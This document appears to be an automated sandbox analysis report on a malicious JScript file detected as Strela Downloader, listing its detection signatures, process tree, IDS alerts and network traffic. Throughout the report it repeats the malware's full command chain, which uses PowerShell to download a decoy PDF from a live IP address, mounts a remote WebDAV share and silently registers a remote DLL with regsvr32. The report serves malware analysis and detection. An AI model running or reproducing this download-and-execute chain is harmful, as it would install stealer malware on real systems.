Edit tour

Windows Analysis Report
219751261441155514.js

Overview

General Information

Sample name:	219751261441155514.js
Analysis ID:	1588547
MD5:	0beac73ea189788bbb095aba1f53062f
SHA1:	1e7055d018d3c8c95a7381b335ce0bbebfc35852
SHA256:	b207e9f03bc0811755349be58ed3cd1df9373cf16da749ad7f749c5c58ff41df
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2472 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2228 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6456 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4268 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 1600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 728 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2300 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1740,i,9688315185573414080,11883463884545519196,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7108 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5960 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6528 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2472	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4268, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4268, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", ProcessId: 2472, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5960, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ProcessId: 2228, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ProcessId: 2228, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ProcessId: 2228, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ProcessId: 2228, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ProcessId: 2228, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", ProcessId: 2472, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2228, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4268, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5960, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6528, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7108, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5960, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\219751261441155514.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2472, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\118971526214046.dll, ProcessId: 2228, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:16:47.210938+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:16:49.577293+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:16:47.210938+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 219751261441155514.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 219751261441155514.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 219751261441155514.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:16:47 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

